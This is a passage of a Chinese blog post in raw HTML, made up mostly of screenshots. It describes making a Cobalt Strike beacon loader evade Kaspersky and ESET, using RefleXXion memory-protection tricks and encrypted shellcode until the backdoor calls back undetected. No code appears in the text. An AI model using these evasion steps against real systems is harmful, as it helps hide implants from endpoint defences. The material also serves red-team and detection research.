start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">能看到效果,行为检测依旧有问题:</span></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.3592592592592593" src="https://wechat2rss.xlab.app/img-proxy/?k=5675b1f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaibib9PdRqakhjZy9VtWxeXCZV63d3FjEbolYBep7gUt6Mp8jCtkibhgSQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">但漏洞利用防御已经没有相关报警:</span></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.2101851851851852" src="https://wechat2rss.xlab.app/img-proxy/?k=06d97201&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaIcpHCWOUTcicIKp2UGcWPN7BLib1B5QPYmG2voN5Ey8a3iaOQA7wicOEcQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">怀疑是cs本身流量特征的问题，为了验证我使用卡巴斯基本身的功能禁用了网络请求：</span></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5175925925925926" src="https://wechat2rss.xlab.app/img-proxy/?k=2f72c156&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaKPVwj0aAZMqKka59za4FRiaUMYM0Etlt392WPOKHTBn89InCVFic7icMA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">确实不杀也不报警了，确定是cs通信的问题。</span></p><h3 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin: 2em 8px 0.75em 0px;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">ESET Endpoint Security</h3><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">demo3报警，并且明显检测到网络连接行为</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5" src="https://wechat2rss.xlab.app/img-proxy/?k=2e29267f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNarPPIibygNl8DdI5NWO80Pqo07LKf2Nm1TrQUHiaric9iclMmehMpwuibpZg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">静态没有问题</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.525" src="https://wechat2rss.xlab.app/img-proxy/?k=1d04de68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaXh9RyR6udm1ANdC9b0lg97SarEEghmDZkPiaPAVgPa7qE1fej5Yia2GA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">主要应该还是在对内存的检测，而且感觉已经执行到了发包</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.22685185185185186" src="https://wechat2rss.xlab.app/img-proxy/?k=81dd1d34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaWIdK4GwQe2h1nD6ujMf0HrUnEL2TEJI6DBUQWV4xSvV1ANv58FQe8g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下面根据《三》中的“beacon的内存加密”对demo3进行优化,使用RefleXXion工具的第二种将内存设为NO_ACCESS并通过注册异常处理还原的方式进行免杀。</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.38425925925925924" src="https://wechat2rss.xlab.app/img-proxy/?k=8b1ecd3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaafwa1ROV32iaEH3Jvfvt2o7503eC71yKRgkial3WmQQS8nQz413aYlYA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="margin-bottom: 0px;"><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">设置流量的白名单：</span></p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5777777777777777" src="https://wechat2rss.xlab.app/img-proxy/?k=d040626a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaNXU8V3FVRcYHjBLsaEooxzFAyibagkpia665otsKGfnBTEYhKLWF6tDQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">关闭web控制后成功并上线</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5638888888888889" src="https://wechat2rss.xlab.app/img-proxy/?k=73df17d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaLXzB9sOe4dvic6yytoKreBusbUWm0NoaRkorjckIy5omicRYI7PWum7Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">eset在持续在扫描内存，但一直没有权限，一直触发异常，无法进入正常的后门逻辑</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.5583333333333333" src="https://wechat2rss.xlab.app/img-proxy/?k=c5b8dc80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaZ1Le1QWx81GP6j0HVzOiaBFMopCV6kHmYRj6q9Has8uSSfbwGhicjMbQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">能绕过内存的检测，但无法正常使用</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="960" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.8614583333333333" src="https://wechat2rss.xlab.app/img-proxy/?k=91071c18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNauniaMkhn56syib4t424yDTXPIkVRF7bz3jylRS9zRCy9wI7sia5l77maA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">感觉ESET一直在我程序里进行内存操作，访问到了不可访问的内存段。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可能ESET的机制是一直在扫描程序内存，也可能是想要做一些hook。</p><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我尝试使用RefleXXion的第一种方法，将shellcode加密并使属性为RW或RX的方式加载shellcode:</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="1080" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.48333333333333334" src="https://wechat2rss.xlab.app/img-proxy/?k=2bbcd89b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNadISpzziaY20L26MicGZV4iaE3UAGAUOmvtsuZic4L6xibic4WRlkD4QryxuA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以成功上线，并且正常使用：</p><figure style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-w="765" data-type="png" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" title="null" data-ratio="0.7607843137254902" src="https://wechat2rss.xlab.app/img-proxy/?k=d7b9f1d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794YdMySnPB1u0pVko404NNaH0HXMEvhAv1Dq1oicotcgTnCqxb08GbkgVCFZ0K8vnP4EImoeoIdM5g%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: 